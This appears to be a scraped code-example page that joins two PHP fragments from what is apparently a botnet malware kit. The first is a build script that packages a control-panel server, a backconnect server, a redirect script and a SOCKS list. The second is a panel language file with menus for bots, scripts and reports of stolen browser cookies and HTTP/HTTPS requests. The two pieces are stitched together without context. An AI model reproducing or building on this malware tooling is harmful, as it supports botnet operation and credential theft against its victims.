Esempio n. 1
0
    //Копируем лицензию, если она сущеcтвует.
    copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'] . '\\license.key');
}
if (configBool('manual')) {
    writeStep("BUILDING MANUAL");
    copyFile($dir['docs'] . '\\manual_ru.html', $dir['output'][0] . '\\manual_ru.html');
}
if (platformEnabled('server', 'php')) {
    writeStep("BUILDING PHP SERVER");
    if (!configBool('jabber_notifier')) {
        $commandLineOptions['server']['php']['exclude_files'][] = 'system\\jabberclass.php';
        $commandLineOptions['server']['php']['exclude_files'][] = 'system\\reports_jn.*';
    }
    buildBinary('server', 0, false, false);
    //Копируем гео-базу.
    copyFile($dir['geobase'] . '\\country[maxmind].txt', $dir['output']['server'] . '[php]\\install\\geobase.txt');
    createSubDir($dir['source']['server'] . '[php]\\tmp');
    //Копируем дополнения.
    createSubDir($dir['output']['other']);
    copyFile($dir['source']['other'] . '\\redir.php', $dir['output']['other'] . '\\redir.php');
    copyFile($dir['source']['other'] . '\\sockslist.php', $dir['output']['other'] . '\\sockslist.php');
}
if (configBool('bcserver_platforms')) {
    writeStep("BUILDING BACKCONNECT SERVER");
    buildBinary('bcserver', 1, true, false);
}
if (configBool('builder_platforms') || configBool('bcserver_platforms') || platformEnabled('server', 'php')) {
    writeStep("CREATING DISTRIBUTED PACKAGE");
    packDir(array($dir['output']['builder'], $dir['output']['server'] . '[php]', $dir['output']['server'], $dir['output']['other'], $dir['output'][0] . '\\manual_??.txt'), $dir['output'][0] . '\\ZS_' . BO_CLIENT_VERSION);
}
goodEnd();
Esempio n. 2
0
define('LNG_INFO', 'Information:');
define('LNG_INFO_USERNAME', 'Current user:'******'LNG_INFO_DATE', 'GMT date:');
define('LNG_INFO_TIME', 'GMT time:');
//Главное меню.
define('LNG_MM_STATS', 'Statistics:');
define('LNG_MM_STATS_MAIN', 'Summary');
define('LNG_MM_STATS_OS', 'OS');
define('LNG_MM_BOTNET', 'Botnet:');
define('LNG_MM_BOTNET_BOTS', 'Bots');
define('LNG_MM_BOTNET_SCRIPTS', 'Scripts');
define('LNG_MM_REPORTS', 'Reports:');
define('LNG_MM_REPORTS_DB', 'Search in database');
define('LNG_MM_REPORTS_FILES', 'Search in files');
/*EVAL_BEGIN*/
if (configBool('jabber_notifier')) {
    return "define('LNG_MM_REPORTS_JN',     'Jabber notifier');";
}
/*EVAL_END*/
define('LNG_MM_SYSTEM', 'System:');
define('LNG_MM_SYSTEM_INFO', 'Information');
define('LNG_MM_SYSTEM_OPTIONS', 'Options');
define('LNG_MM_SYSTEM_USER', 'User');
define('LNG_MM_SYSTEM_USERS', 'Users');
define('LNG_MM_LOGOUT', 'Logout');
//Типы отчетов.
define('LNG_BLT_UNKNOWN', 'Unknown report');
define('LNG_BLT_COOKIES', 'Cookies of browsers');
define('LNG_BLT_FILE', 'File');
define('LNG_BLT_HTTPX_REQUEST', 'HTTP or HTTPS request');
define('LNG_BLT_HTTP_REQUEST', 'HTTP request');